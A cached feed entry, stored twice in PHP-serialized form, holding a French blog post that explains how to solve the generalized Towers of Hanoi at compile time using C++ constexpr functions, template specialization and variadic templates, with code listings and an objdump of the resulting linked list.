";s:7:"dateiso";s:15:"20150721_163104";}s:15:"20150327_205308";a:7:{s:5:"title";s:62:"Exécuter un algorithme lors de la compilation (templates C++)";s:4:"link";s:88:"http://blog.rom1v.com/2015/03/executer-un-algorithme-lors-de-la-compilation-templates-c/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4957";s:7:"pubDate";s:31:"Fri, 27 Mar 2015 19:53:08 +0000";s:11:"description";s:390:"En général, pour résoudre un problème donné, nous écrivons un algorithme dans un langage source, puis nous le compilons (dans le cas d’un langage compilé). La compilation consiste à traduire le code source en un code exécutable par une machine cible. C’est lors de l’exécution de ce fichier que l’algorithme est déroulé. Mais certains langages, […]";s:7:"content";s:52981:"

hanoi

En général, pour résoudre un problème donné, nous écrivons un algorithme dans un langage source, puis nous le compilons (dans le cas d’un langage compilé). La compilation consiste à traduire le code source en un code exécutable par une machine cible. C’est lors de l’exécution de ce fichier que l’algorithme est déroulé.

Mais certains langages, en l’occurrence C++, proposent des mécanismes permettant un certain contrôle sur la phase de compilation, tellement expressifs qu’ils permettent la métaprogrammation. Nous pouvons alors faire exécuter un algorithme directement par le compilateur, qui se contente de produire un fichier exécutable affichant le résultat.

À titre d’exemple, je vais présenter dans ce billet comment résoudre le problème des tours de Hanoï (généralisé, c’est-à-dire quelque soit la position initiale des disques) lors de la phase de compilation.

Les programmes complets décrits dans ce billet sont gittés :

git clone http://git.rom1v.com/metahanoi.git

(ou sur github)

Problème des tours de Hanoï généralisé

La résolution naturelle du problème généralisé des tours de Hanoï est récursive.

Pour déplacer n disques vers la tour T, il faut:

En voici une implémentation classique en C++ (le compilateur va générer le code permettant d’exécuter l’algorithme) :

#include <iterator>
#include <iostream>
#include <vector>

class Hanoi {
    using tower = unsigned int;
    using size = unsigned int;

    std::vector<tower> state; // disk number i is on tower state[i]

public:
    Hanoi(std::initializer_list<tower> init) : state(init) {}

    void solve(tower target) {
        printState(); // initial state
        solveRec(state.size(), target);
    }

private:
    void solveRec(size disks, tower target) {
        if (disks == 0) {
            return;
        }
        // the tower of the largest disk at this depth of recursion
        tower &largest = state[state.size() - disks];
        if (largest == target) {
            // the largest disk is already on the target tower
            solveRec(disks - 1, target);
        } else {
            // move disks above the largest to the intermediate tower
            solveRec(disks - 1, other(largest, target));
            // move the largest disk to the target
            largest = target;
            printState();
            // move back the disks on the largest
            solveRec(disks - 1, target);
        }
    }

    void printState() {
        std::copy(state.cbegin(), state.cend(),
                  std::ostream_iterator<tower>(std::cout));
        std::cout << std::endl;
    }

    static inline tower other(tower t1, tower t2) {
        return 3 - t1 - t2;
    }

};

int main() {
    Hanoi{ 0, 0, 0, 0, 0 }.solve(2);
    return 0;
}

(sourcecommit – tag runtime)

À compiler avec :

g++ -std=c++11 hanoi.cpp -o hanoi

L’algorithme utilise un simple vecteur de positions des disques, indexés du plus grand au plus petit, pour stocker l’état courant.

Par exemple, l’état { 0, 0, 0, 0 } représente 4 disques sur la tour 0 :

state = { 0, 0, 0, 0 };

    0         1         2

    |         |         |
   -+-        |         |
  --+--       |         |
 ---+---      |         |
----+----     |         |

L’état { 1, 1, 0, 2 }, quant-à lui, représente ces positions:

state = { 1, 1, 2, 1 };

    0         1         2

    |         |         |
    |         |         |
    |        -+-        |
    |      ---+---      |
    |     ----+----   --+--

Dans cette version, pour déplacer le disque i, il suffit alors de changer la valeur de state[i].

Il serait possible d’utiliser une structure de données différente, comme un vecteur par tour stockant les numéros des disques présents, mais celle que j’ai choisie sera beaucoup plus adaptée pour la suite.

Étant données 2 tours T1 et T2, il est très facile d’en déduire la 3e : 3 – T1 – T2. Ce calcul est extrait dans la fonction inlinée other(…).

Le contexte étant présenté, essayons maintenant d’implémenter le même algorithme pour le faire exécuter par le compilateur.

Structure de données constante

std::vector est une structure de données utilisable uniquement à l’exécution : il n’est pas possible d’en créer ou d’en utiliser une instance lors de la compilation. Même l’utilisation d’un simple tableau d’entiers nous poserait des problèmes par la suite.

Nous allons donc grandement simplifier le stockage des positions des disques, en utilisant un seul entier. En effet, à chaque disque est associée une tour qui peut être 0, 1 ou 2. Par conséquent, un chiffre en base 3 (un trit) suffit pour stocker la position d’une tour.

Ainsi, nous pouvons représenter l’état { 1, 2, 1, 0, 2 } par l’entier 146 (1×81 + 2×27 + 1×9 + 0×3 + 2×1) :

+-----+-----+-----+-----+-----+
| 3^4 | 3^3 | 3^2 | 3^1 | 3^0 |
|  81 |  27 |   9 |   3 |   1 |
+-----+-----+-----+-----+-----+
|  1  |  2  |  1  |  0  |  2  |
+-----+-----+-----+-----+-----+

Au passage, voici comment convertir rapidement un nombre dans une autre base en shell (pratique pour débugger) :

$ echo 'ibase=3; 12102' | bc
146
$ echo 'obase=3; 146' | bc
12102

Nous allons utiliser le type entier le plus long, à savoir unsigned long long, stockant au minimum 64 bits, soit 64 digits en base 2. En base 3, cela représente 64 × ln(2)/ln(3) ≃ 40 digits : nous pouvons donc stocker la position de 40 disques dans un seul entier.

Pour cela, définissons un type state :

using state = unsigned long long;

Expressions constantes généralisées

Nous allons écrire une première ébauche n’utilisant que des expressions constantes, clairement indiquées et vérifiées depuis C++11 grâce au mot-clé constexpr. Une fonction constexpr doit, en gros, n’être composé que d’une instruction return.

C’est le cas à l’évidence pour notre fonction other(…) :

constexpr tower other(tower t1, tower t2) {
    return 3 - t1 - t2;
}

Grâce à l’opérateur ternaire et à la récursivité, nous pouvons cependant en écrire de plus complexes.

Dans notre programme classique, le déplacement d’un disque i se résumait à changer la valeur de state[i]. Maintenant que l’état du système est compacté dans un seul entier, l’opération est moins directe.

Soit l’état courant { 0, 1, 2, 0, 0 } (ou plus simplement 01200). Supposons que nous souhaitions déplacer le disque au sommet de la tour 2 vers la tour 1. Cela consiste, en fait, à remplacer le dernier 2 par un 1 (rappelez-vous, les disques sont indexés du plus grand au plus petit). Le résultat attendu est donc 01100.

Notez que ce déplacement n’est pas toujours autorisé. Par exemple, le disque au sommet de la tour 2 est plus grand (i.e. a un plus petit index) que celui au sommet de la tour 0, il n’est donc pas possible de le déplacer vers la tour 0. C’est à l’algorithme que revient la responsabilité de n’effectuer que des déplacements légaux.

Remplacer le dernier digit x de la représentation d’un nombre N (dans une base quelconque) par y peut s’implémenter récursivement :

Concrètement :

      N   N\d d    { x=2, y=1 }
  01200  0120 0    // d != x : remplacer x par y dans N\d
   0120   012 0    //   d != x : remplacer x par y dans N\d
    012    01 2    //     d == x : remplacer x par y
    011    01 1    //     d = y
   0110   011 0    //   recoller d au résultat
  01100  0110 0    // recoller d au résultat

Il reste à expliciter l’étape du remplacement du digit. De manière générale, remplacer par un chiffre d le dernier digit d’un nombre N exprimé dans une base b consiste à calculer, soit N / b * b + d, soit de manière équivalente N - N % b + d (/ représentant la division entière et % le modulo). Dans les deux cas, l’opération annule le dernier digit puis ajoute son remplaçant.

base10

Sur un exemple en base 10, c’est évident. Remplaçons le dernier chiffre de 125 par 7 selon les deux méthodes :

     N /  b *  b + v         N -   N %  b + d
   125 / 10 * 10 + 7       125 - 125 % 10 + 7
         12 * 10 + 7       125 -        5 + 7
             120 + 7                  120 + 7
                 127                      127

Arbitrairement, nous utiliserons la première méthode pour implémenter notre fonction constexpr move(…) :

constexpr state move(state s, tower src, tower target) {
    return s % 3 == src
        ? s / 3 * 3 + target
        : move(s / 3, src, target) * 3 + s % 3;
}

De la même manière, définissons une fonction getTower(s, i) qui retourne la tour sur laquelle se trouve le ième plus petit disque :

constexpr tower getTower(state s, size disk) {
    return disk == 1
        ? s % 3
        : getTower(s / 3, disk - 1);
}

Attaquons-nous maintenant à la conversion de la fonction solveRec(…). Elle contenait deux branchements (if) et plusieurs instructions séquentielles, que nous allons devoir transformer en une seule instruction return.

Pour cela, nous allons remplacer les branchements par des opérateurs ternaires :

if (C) {
    X = A;
} else {
    X = B;
}

devient :

X = C ? A : B;

Notez que contrairement à la version if/else, cela implique que les expressions retournent une valeur. Cela tombe bien, comme une fonction constexpr ne peut pas modifier une variable, notre fonction va retourner l’état résultant de la transformation.

Concernant les instructions séquentielles, remarquons qu’elles dépendent successivement les unes des autres. De manière générale, nous pouvons remplacer :

A = f();
B = g(A);
X = h(B);

par:

X = h(g(f()));

En combinant ces principes, la méthode solve(…) peut être écrite ainsi (afin de bien voir l’imbrication des appels, je ne la découpe volontairement pas en plusieurs méthodes) :

constexpr state solve(size disks, state s, tower target) {
    return disks == 0
        ? s
        : getTower(s, disks) == target
            ? solve(disks - 1, s, target)
            : solve(disks - 1,
                    move(solve(disks - 1,
                               s,
                               other(getTower(s, disks), target)),
                         getTower(s, disks),
                         target),
                    target);
}

Les appels les plus profonds sont effectués en premier.

Ajoutons une méthode d’affichage pour obtenir la représentation de l’état du système en base 3 :

std::ostream &print_state(std::ostream &os, size ndisks, state s) {
    return ndisks ? print_state(os, ndisks - 1, s / 3) << s % 3 : os;
}

(sourcecommit – tag constexpr)

Compilons et exécutons le programme :

$ g++ -std=c++11 metahanoi.cpp && ./metahanoi
22222

L’état 22222 (soit l’entier 242) est bien écrit en dur dans le binaire généré :

$ g++ -std=c++11 -S metahanoi.cpp && grep 242 metahanoi.s
        movq    $242, -16(%rbp)
        movl    $242, %edx

Le compilateur est donc bien parvenu à la solution.

Mais avouons que le résultat est un peu décevant : l’état final, nous le connaissions déjà ; ce qui nous intéresse, c’est le cheminement pour y parvenir. Nous souhaiterions donc qu’en plus, le compilateur nous indique, d’une manière ou d’une autre, les étapes intermédiaires décrivant la solution du problème.

Templates

Pour cela, nous allons utiliser les templates.

Pour comprendre comment les templates vont nous aider, commençons par quelques précisions.

Les classes template sont souvent utilisées avec des paramètres types. Par exemple, std::vector<int> définit un nouveau type paramétré par le type int. Mais il est également possible de passer des paramètres non-types, qui sont alors des valeurs "simples".

Une classe template ne définit pas un type, mais permet de générer des types selon les paramètres qui lui sont affectés. Concrètement, std::vector<int> et std::vector<double> sont des types totalement différents, comme s’ils étaient implémentés par deux classes écrites séparément.

Dit autrement, la classe est au template ce que l’objet est à la classe : une instance. Mais c’est une instance qui existe lors de la phase de compilation !

     +----------------+
     | CLASS TEMPLATE |
     +----------------+
          | template
          | instantiation
          v                     COMPILE TIME
     +----------------+
     |  CLASS / TYPE  |    -----------------------
     +----------------+
          | class                 RUNTIME
          | instantiation
          v
     +----------------+
     |     OBJECT     |
     +----------------+

De la même manière qu’une variable d’instance existe pour chaque objet (instance de classe), une variable static existe pour chaque classe (instance de template).

Pour conserver les états successifs de la résolution du problème des tours de Hanoï, nous allons donc créer une classe par étape, dans laquelle nous allons pouvoir y stocker un état static. Nous voulons donc remplacer notre fonction solve(…) par des classes template.

Pour illustrer comment, commençons par un template simple effectuant la somme de deux entiers :

template <int I, int J>
struct Sum {
    static constexpr int result = I + J;
};

Sum<3, 4>::result est calculé à la compilation et vaut 7.

Prenons maintenant l’exemple d’un calcul récursif : la factorielle d’un entier. Il nous faut implémenter à la fois le cas général et la condition d’arrêt. Nous pourrions penser à utiliser l’opérateur ternaire ainsi :

template <int N>
struct Fact {
    // does not work!
    static constexpr int result = N == 0 ? 1 : N * Fact<N - 1>::result;
};

Malheureusement, ceci ne peut pas fonctionner, car pour calculer la valeur d’une expression, le compilateur doit d’abord calculer le type de chacun des opérandes. Par conséquent, Fact<N - 1> sera généré même si N == 0. La récursivité ne s’arrête donc jamais, provoquant une erreur à la compilation :

error: template instantiation depth exceeds maximum of 900

Comment faire alors ? La clé réside dans la spécialisation de templates, qui permet de sélectionner l’implémentation de la classe en fonction des paramètres :

template <int N>
struct Fact {
    static constexpr int result = N * Fact<N-1>::result;
};

template <>
struct Fact<0> {
    static constexpr int result = 1;
};

Lorsque Fact est instancié avec le paramètre 0, la classe est générée à partir du template spécialisé, stoppant ainsi la récursivité.

Appliquons ce principe à notre algorithme des tours de Hanoï. Nous allons définir une classe template Solver avec 3 paramètres de template, les mêmes que notre fonction solve(…) :

template <size DISKS, state S, tower TARGET>
struct SolverRec { … };

Puis nous allons en définir une spécialisation pour le cas où DISKS vaut 0 :

template <state S, tower TARGET>
struct SolverRec<0, S, TARGET> { … };

Nous avons ainsi implémenté le premier branchement sur la condition DISKS == 0.

Un second branchement reste à réaliser : le calcul à effectuer est différent selon si le plus grand disque parmi les DISKS derniers est déjà sur la tour cible ou non. Celui-ci est plus compliqué, car les paramètres de template présents ne permettent pas d’évaluer sa condition.

Nous allons donc devoir ajouter en paramètre la position du disque SRC afin de pouvoir sélectionner la bonne implémentation en fonction de la condition SRC == TARGET. Sa valeur étant déterminée par celle des autres paramètres, l’ajout de SRC ne va pas entraîner la création de nouveaux types. Par contre, il multiplie les cas à implémenter :

// cas général
template <size DISKS, state S, tower SRC, tower TARGET>
struct SolverRec { … };

// quand SRC == TARGET (le disque est déjà bien placé)
template <size DISKS, state S, tower TOWER>
struct SolverRec<DISKS, S, TOWER, TOWER> { … };

// quand il ne reste plus qu'un seul disque, mal placé
template <state S, tower SRC, tower TARGET>
struct SolverRec<1, S, SRC, TARGET> { … };

// quand il ne reste plus qu'un seul disque, déjà bien placé
template <state S, tower TOWER>
struct SolverRec<1, S, TOWER, TOWER> { … };

Les plus observateurs auront remarqué que désormais, la récursivité s’arrête à 1 disque, et non plus 0 comme précédemment. En effet, maintenant que le paramètre SRC est ajouté, il va falloir le calculer (grâce à getTower(…)) avant d’utiliser le type. Or, cela n’a pas de sens de récupérer la position d’un disque lorsque nous n’avons pas de disques. D’ailleurs, l’exécution de getTower(…) avec disk == 0 provoquerait une erreur… de compilation (vu que l’exécution se déroule à la compilation).

Nous avons maintenant 4 versions de la classe template SolverRec à écrire. Chacune devra contenir l’état final résultant du déplacement de DISKS disques de la tour SRC vers la tour TARGET à partir de l’état S. Cet état sera stocké dans une constante final_state, présente dans chacune des spécialisations.

Voici mon implémentation :

template <size DISKS, state S, tower SRC, tower TARGET>
struct SolverRec {
    static constexpr tower nextSrc = getTower(S, DISKS - 1);
    static constexpr tower inter = other(SRC, TARGET);
    using rec1 = SolverRec<DISKS - 1, S, nextSrc, inter>;
    static constexpr state value = move(rec1::final_state, SRC, TARGET);
    using rec2 = SolverRec<DISKS - 1, value, inter, TARGET>;
    static constexpr state final_state = rec2::final_state;
};

template <size DISKS, state S, tower TOWER>
struct SolverRec<DISKS, S, TOWER, TOWER> {
    static constexpr tower nextSrc = getTower(S, DISKS - 1);
    using rec = SolverRec<DISKS - 1, S, nextSrc, TOWER>;
    static constexpr state final_state = rec::final_state;
};

template <state S, tower SRC, tower TARGET>
struct SolverRec<1, S, SRC, TARGET> {
    static constexpr state final_state = move(S, SRC, TARGET);
};

template <state S, tower TOWER>
struct SolverRec<1, S, TOWER, TOWER> {
    static constexpr state final_state = S;
};

Le type (déterminé par les arguments des templates) correspondant aux appels récursifs dépend des valeurs constexpr calculées dans la classe. C’est à l’appelant de calculer la tour source pour renseigner la valeur du paramètre SRC.

Par commodité, nous pouvons aussi ajouter une classe template Solver, qui calcule elle-même la tour SRC du plus grand disque lors du démarrage.

template <size DISKS, state S, tower TARGET>
struct Solver {
    static constexpr tower src = getTower(S, DISKS);
    using start = SolverRec<DISKS, S, src, TARGET>;
    static constexpr state final_state = start::final_state;
};

(sourcecommit – tag templates)

De cette manière, pour calculer l’état résultant du déplacement de 5 disques à l’état 00000 (l’entier 0) vers la tour 2, il suffit de lire la variable :

Solver<5, 0, 2>::final_state;

Nous avons donc converti notre implementation d’une simple fonction constexpr en classes template. Fonctionnellement équivalente pour l’instant, cette nouvelle version met en place les fondations pour récupérer, à l’exécution, les étapes de la résolution du problème calculées à la compilation.

État initial

Mais avant cela, dotons-nous d’un outil pour décrire l’état initial facilement, qui pour l’instant doit être exprimé grâce à un state, c’est-à-dire un entier.

L’idée serait que l’état et le nombre de disques soit calculé automatiquement à la compilation à partir de la liste des positions des disques :

Disks<1, 2, 0, 1, 2>

Contrairement à précedemment, ici, nous avons besoin d’un nombre indéterminé de paramètres. Nous allons donc utiliser les variadic templates :

template <tower ...T>
struct Disks;

Remarquez que ce template est juste déclaré et non défini.

Pour parcourir les paramètres, nous avons besoin de deux spécialisations (une pour la récursion et une pour la condition d’arrêt) :

template <tower H, tower ...T>
struct Disks<H, T...> { … };

template <>
struct Disks<> { … };

Chacune des deux spécialisent le template déclaré, mais remarquez que l’une n’est pas une spécialisation de l’autre. C’est la raison pour laquelle nous avons besoin de déclarer un template (sans le définir) dont ces deux définitions sont une spécialisation.

Voici l’implémentation :

template <tower H, tower ...T>
struct Disks<H, T...> {
    static constexpr state count = 1 + sizeof...(T);
    static constexpr state pack(state tmp) {
        return Disks<T...>::pack(tmp * 3 + H);
    }
    static constexpr state packed = pack(0);
};

template <>
struct Disks<> {
    static constexpr state count = 0;
    static constexpr state pack(state tmp) { return tmp; };
    static constexpr state packed = 0;
};

Le nombre de disques est initialisé en comptant les paramètres grâce à l’opérateur sizeof....

L’état compacté est stocké dans la variable packed. Étant donné que les premiers paramètres traités seront les digits de poids fort, la multiplication devra être effectuée par les appels récursifs plus profonds. C’est la raison pour laquelle j’utilise une fonction temporaire qui permet d’initialiser packed.

Nous pouvons maintenant initialiser notre solver ainsi :

using disks = Disks<1, 2, 0, 1, 2>;
using solver = Solver<disks::count, disks::packed, 2>;

(sourcecommit – tag disks)

Affichage récursif

Attaquons-nous maintenant à l’affichage des états successifs.

Le plus simple consiste à implémenter une méthode print(…) dans chacune des classes SolverRec, affichant l’état associé et/ou appellant récursivement les méthodes print(…) sur les instances de SolverRec utilisées pour la résolution du problème.

Pour cela, nous devons auparavant déterminer, pour chaque template instancié, quel état afficher. Par exemple, pour les classes crées à partir de l’implémentation du template non spécialisé, il y a plusieurs états accessibles :

C’est en fait l’état value qu’il faut afficher :

Il est important de différencier, pour chaque SolverRec, l’état final, représentant l’état après l’application de tous les déplacements demandés, de l’état suivant le seul déplacement unitaire (s’il existe) associé à la classe. C’est ce dernier que nous voulons afficher.

Nous allons donc ajouter dans les 4 versions du template SolverRec une méthode :

static std::ostream &print(std::ostream &os, size ndisks);

Le paramètre std::ostream &os permet juste de préciser sur quel flux écrire (std::cout par exemple) ; il est retourné pour pouvoir le chaîner avec d’autres écritures (comme << std::endl).

Cette méthode a besoin de connaître le nombre total de disques, afin d’afficher le bon nombre de digits. Notez que cette valeur est différente du paramètre de template DISKS, qui correspond au nombre de disques à déplacer pour le niveau de récursivité courant.

template <size DISKS, state S, tower SRC, tower TARGET>
struct SolverRec {
    static constexpr tower nextSrc = getTower(S, DISKS - 1);
    static constexpr tower inter = other(SRC, TARGET);
    using rec1 = SolverRec<DISKS - 1, S, nextSrc, inter>;
    static constexpr state value = move(rec1::final_state, SRC, TARGET);
    using rec2 = SolverRec<DISKS - 1, value, inter, TARGET>;
    static constexpr state final_state = rec2::final_state;

    static std::ostream &print(std::ostream &os, size ndisks) {
        rec1::print(os, ndisks);
        print_state(os, ndisks, value) << std::endl;
        rec2::print(os, ndisks);
        return os;
    }
};

template <size DISKS, state S, tower TOWER>
struct SolverRec<DISKS, S, TOWER, TOWER> {
    static constexpr tower nextSrc = getTower(S, DISKS - 1);
    using rec = SolverRec<DISKS - 1, S, nextSrc, TOWER>;
    static constexpr state final_state = rec::final_state;

    static std::ostream &print(std::ostream &os, size ndisks) {
        rec::print(os, ndisks);
        return os;
    }
};

template <state S, tower SRC, tower TARGET>
struct SolverRec<1, S, SRC, TARGET> {
    static constexpr state value = move(S, SRC, TARGET);
    static constexpr state final_state = value;

    static std::ostream &print(std::ostream &os, size ndisks) {
        print_state(os, ndisks, value) << std::endl;
        return os;
    }
};

template <state S, tower TOWER>
struct SolverRec<1, S, TOWER, TOWER> {
    static constexpr state value = S;
    static constexpr state final_state = value;

    static std::ostream &print(std::ostream &os, size ndisks) {
        return os;
    }
};

Seules les versions du template pour lesquelles SRC != TARGET affichent un état. Les autres n’ont rien à afficher directement.

Ajoutons également, par commodité, une méthode similaire dans le template Solver (sans le paramètre ndisks, car ici il est toujours égal à DISKS) :

template <size DISKS, state S, tower TARGET>
struct Solver {
    static constexpr tower src = getTower(S, DISKS);
    using start = SolverRec<DISKS, S, src, TARGET>;
    static constexpr state final_state = start::final_state;

    static std::ostream &print(std::ostream &os) {
        print_state(std::cout, DISKS, S) << std::endl; // initial state
        return start::print(os, DISKS);
    }
};

(sourcecommit – tag print)

Cette nouvelle version affiche bien lors de l’exécution les états calculés lors de la compilation.

Cependant, les appels récursifs nécessaires à la résolution du problème ne sont pas supprimés : ils sont nécessaires à l’affichage des résultats. Il est dommage de résoudre le problème à la compilation si c’est pour que l’exécution repasse par chacune des étapes de la résolution pour l’affichage.

Liste chaînée

Pour éviter cela, nous allons générer à la compilation une liste chaînée des étapes qu’il ne restera plus qu’à parcourir à l’exécution. Chaque classe qui affichait un état va désormais stocker un nœud de la liste chainée, implémenté ainsi :

struct ResultNode {
    state value;
    ResultNode *next;
};

Le défi est maintenant d’initialiser les champs next de chacun des nœuds à l’adresse du nœud suivant dans l’ordre de résolution du problème des tours de Hanoï, et non dans l’ordre des appels récursifs, qui est différent. Par exemple, l’état (value) associé à une instance du template SolverRec non spécialisé (correspondant au cas général) devra succéder à tous les états générés par l’appel récursif rec1, pourtant appelé après.

Pour cela, chaque classe doit être capable d’indiquer à son appelant quel est le premier nœud qu’elle peut atteindre (first) et passer à chaque classe appelée le nœud qui devra suivre son nœud final (AFTER). Ces informations suffisent à déterminer dans tous les cas le nœud suivant d’une classe donnée, ce qui permet de constituer la liste chaînée complète en mémoire :

template <size DISKS, state S, tower SRC, tower TARGET, ResultNode *AFTER>
struct SolverRec {
    static ResultNode node;
    static constexpr tower nextSrc = getTower(S, DISKS - 1);
    static constexpr tower inter = other(SRC, TARGET);
    using rec1 = SolverRec<DISKS - 1, S, nextSrc, inter, &node>;
    static constexpr state value = move(rec1::final_state, SRC, TARGET);
    using rec2 = SolverRec<DISKS - 1, value, inter, TARGET, AFTER>;
    static constexpr state final_state = rec2::final_state;
    static constexpr ResultNode *first = rec1::first;
    static constexpr ResultNode *next = rec2::first;
};

template <size DISKS, state S, tower SRC, tower TARGET, ResultNode *AFTER>
ResultNode SolverRec<DISKS, S, SRC, TARGET, AFTER>::node = { value, next };

template <size DISKS, state S, tower TOWER, ResultNode *AFTER>
struct SolverRec<DISKS, S, TOWER, TOWER, AFTER> {
    static constexpr tower nextSrc = getTower(S, DISKS - 1);
    using rec = SolverRec<DISKS - 1, S, nextSrc, TOWER, AFTER>;
    static constexpr state final_state = rec::final_state;
    static constexpr ResultNode *first = rec::first;
};

template <state S, tower SRC, tower TARGET, ResultNode *AFTER>
struct SolverRec<1, S, SRC, TARGET, AFTER> {
    static ResultNode node;
    static constexpr state value = move(S, SRC, TARGET);
    static constexpr state final_state = value;
    static constexpr ResultNode *first = &node;
    static constexpr ResultNode *next = AFTER;
};

template <state S, tower SRC, tower TARGET, ResultNode *AFTER>
ResultNode SolverRec<1, S, SRC, TARGET, AFTER>::node = { value, next };

template <state S, tower TOWER, ResultNode *AFTER>
struct SolverRec<1, S, TOWER, TOWER, AFTER> {
    static constexpr state value = S;
    static constexpr state final_state = value;
    static constexpr ResultNode *first = AFTER;
};

template <size DISKS, state S, tower TARGET>
struct Solver {
    static ResultNode list;
    static constexpr tower src = getTower(S, DISKS);
    using start = SolverRec<DISKS, S, src, TARGET, nullptr>;
};

template <size DISKS, state S, tower TARGET>
ResultNode Solver<DISKS, S, TARGET>::list = { S, start::first };

La variable static node n’étant pas constexpr (elle doit être adressable à l’exécution pour former la liste chaînée), elle doit être initialisée en dehors de la classe.

Pour parcourir simplement la liste chaînée, rendons ResultNode itérable (j’implémente ici uniquement le strict minimum pour que l’iterator fonctionne) :

struct ResultNode {
    state value;
    ResultNode *next;

    class iterator {
        const ResultNode *current;
    public:
        iterator(const ResultNode *current) : current(current) {};
        iterator &operator++() { current = current->next; return *this; }
        state operator*() { return current->value; }
        bool operator==(const iterator &o) { return current == o.current; }
        bool operator!=(const iterator &o) { return !(*this == o); }
    };

    iterator begin() const { return iterator(this); }
    iterator end() const { return iterator(nullptr); }
};

La liste peut être parcourue ainsi :

using disks = Disks<0, 0, 0, 0, 0>;
using solver = Solver<disks::count, disks::packed, 2>; 
for (state s : solver::list) {
    print_state(std::cout, disks::count, s) << std::endl;
}

(sourcecommit – tag nodes)

En observant le binaire généré, la liste chaînée est directement visible (ici les octets sont en little endian) :

$ objdump -sj .data metahanoi

metahanoi:     file format elf64-x86-64

Contents of section .data:
 6012a0 00000000 00000000 00000000 00000000
 6012b0 00000000 00000000 00136000 00000000    n00: { 00000, &n05 }
 6012c0 ca000000 00000000 f0136000 00000000    n01: { 21111, &n20 }
 6012d0 35000000 00000000 70136000 00000000    n02: { 01222, &n12 }
 6012e0 16000000 00000000 30136000 00000000    n03: { 00211, &n08 }
 6012f0 05000000 00000000 10136000 00000000    n04: { 00012, &n06 }
 601300 02000000 00000000 f0126000 00000000    n05: { 00002, &n04 }
 601310 04000000 00000000 e0126000 00000000    n06: { 00011, &n03 }
 601320 18000000 00000000 40136000 00000000    n07: { 00220, &n09 }
 601330 15000000 00000000 20136000 00000000    n08: { 00210, &n07 }
 601340 1a000000 00000000 d0126000 00000000    n09: { 00222, &n02 }
 601350 24000000 00000000 a0136000 00000000    n10: { 01100, &n15 }
 601360 2e000000 00000000 80136000 00000000    n11: { 01201, &n13 }
 601370 34000000 00000000 60136000 00000000    n12: { 01221, &n11 }
 601380 2d000000 00000000 50136000 00000000    n13: { 01200, &n10 }
 601390 29000000 00000000 b0136000 00000000    n14: { 01112, &n16 }
 6013a0 26000000 00000000 90136000 00000000    n15: { 01102, &n14 }
 6013b0 28000000 00000000 c0126000 00000000    n16: { 01111, &n01 }
 6013c0 d8000000 00000000 60146000 00000000    n17: { 22000, &n27 }
 6013d0 c5000000 00000000 20146000 00000000    n18: { 21022, &n23 }
 6013e0 cc000000 00000000 00146000 00000000    n19: { 21120, &n21 }
 6013f0 c9000000 00000000 e0136000 00000000    n20: { 21110, &n19 }
 601400 ce000000 00000000 d0136000 00000000    n21: { 21122, &n18 }
 601410 be000000 00000000 30146000 00000000    n22: { 21001, &n24 }
 601420 c4000000 00000000 10146000 00000000    n23: { 21021, &n22 }
 601430 bd000000 00000000 c0136000 00000000    n24: { 21000, &n17 }
 601440 ee000000 00000000 90146000 00000000    n25: { 22211, &n30 }
 601450 dd000000 00000000 70146000 00000000    n26: { 22012, &n28 }
 601460 da000000 00000000 50146000 00000000    n27: { 22002, &n26 }
 601470 dc000000 00000000 40146000 00000000    n28: { 22011, &n25 }
 601480 f0000000 00000000 a0146000 00000000    n29: { 22220, &n31 }
 601490 ed000000 00000000 80146000 00000000    n30: { 22210, &n29 }
 6014a0 f2000000 00000000 00000000 00000000    n31: { 22222, nullptr }

La colonne de gauche correspond aux adresses des données. Les 4 colonnes suivantes contiennent des blocs de 4 octets, les deux premiers de chaque ligne représentant le champ value et les deux suivants le champ next de ResultNode, que j’ai réécrits de manière plus lisible à droite.

Possible ?

Cette représentation interpelle : pourquoi ne pas stocker plus simplement les différents états dans l’ordre, plutôt que d’utiliser des indirections pour former une liste chaînée ?

Malheureusement, je n’ai pas trouvé de solution pour stocker les états ordonnés dans un seul tableau d’entiers dès la compilation.

Si quelqu’un y parvient, ça m’intéresse !

";s:7:"dateiso";s:15:"20150327_205308";}s:15:"20150327_195308";a:7:{s:5:"title";s:62:"Exécuter un algorithme lors de la compilation (templates C++)";s:4:"link";s:89:"https://blog.rom1v.com/2015/03/executer-un-algorithme-lors-de-la-compilation-templates-c/";s:4:"guid";s:88:"https://blog.rom1v.com/2015/03/executer-un-algorithme-lors-de-la-compilation-templates-c";s:7:"pubDate";s:25:"2015-03-27T19:53:08+01:00";s:11:"description";s:0:"";s:7:"content";s:103679:"

hanoi

En général, pour résoudre un problème donné, nous écrivons un algorithme dans un langage source, puis nous le compilons (dans le cas d’un langage compilé). La compilation consiste à traduire le code source en un code exécutable par une machine cible. C’est lors de l’exécution de ce fichier que l’algorithme est déroulé.

Mais certains langages, en l’occurrence C++, proposent des mécanismes permettant un certain contrôle sur la phase de compilation, tellement expressifs qu’ils permettent la métaprogrammation. Nous pouvons alors faire exécuter un algorithme directement par le compilateur, qui se contente de produire un fichier exécutable affichant le résultat.

À titre d’exemple, je vais présenter dans ce billet comment résoudre le problème des tours de Hanoï (généralisé, c’est-à-dire quelque soit la position initiale des disques) lors de la phase de compilation.

Les programmes complets décrits dans ce billet sont gittés :

git clone http://git.rom1v.com/metahanoi.git

(ou sur github)

Problème des tours de Hanoï généralisé

La résolution naturelle du problème généralisé des tours de Hanoï est récursive.

Pour déplacer n disques vers la tour T, il faut:

  1. déterminer sur quelle tour S se trouve le plus grand des n disques ;
  2. déplacer les n-1 premiers disques sur la tour intermédiaire I (ni S ni T) ;
  3. déplacer le plus grand disque de S vers T ;
  4. redéplacer les n-1 premiers disques vers I vers T.

En voici une implémentation classique en C++ (le compilateur va générer le code permettant d’exécuter l’algorithme) :

#include <iterator>
#include <iostream>
#include <vector>

class Hanoi {
    using tower = unsigned int;
    using size = unsigned int;

    std::vector<tower> state; // disk number i is on tower state[i]

public:
    Hanoi(std::initializer_list<tower> init) : state(init) {}

    void solve(tower target) {
        printState(); // initial state
        solveRec(state.size(), target);
    }

private:
    void solveRec(size disks, tower target) {
        if (disks == 0) {
            return;
        }
        // the tower of the largest disk at this depth of recursion
        tower &largest = state[state.size() - disks];
        if (largest == target) {
            // the largest disk is already on the target tower
            solveRec(disks - 1, target);
        } else {
            // move disks above the largest to the intermediate tower
            solveRec(disks - 1, other(largest, target));
            // move the largest disk to the target
            largest = target;
            printState();
            // move back the disks on the largest
            solveRec(disks - 1, target);
        }
    }

    void printState() {
        std::copy(state.cbegin(), state.cend(),
                  std::ostream_iterator<tower>(std::cout));
        std::cout << std::endl;
    }
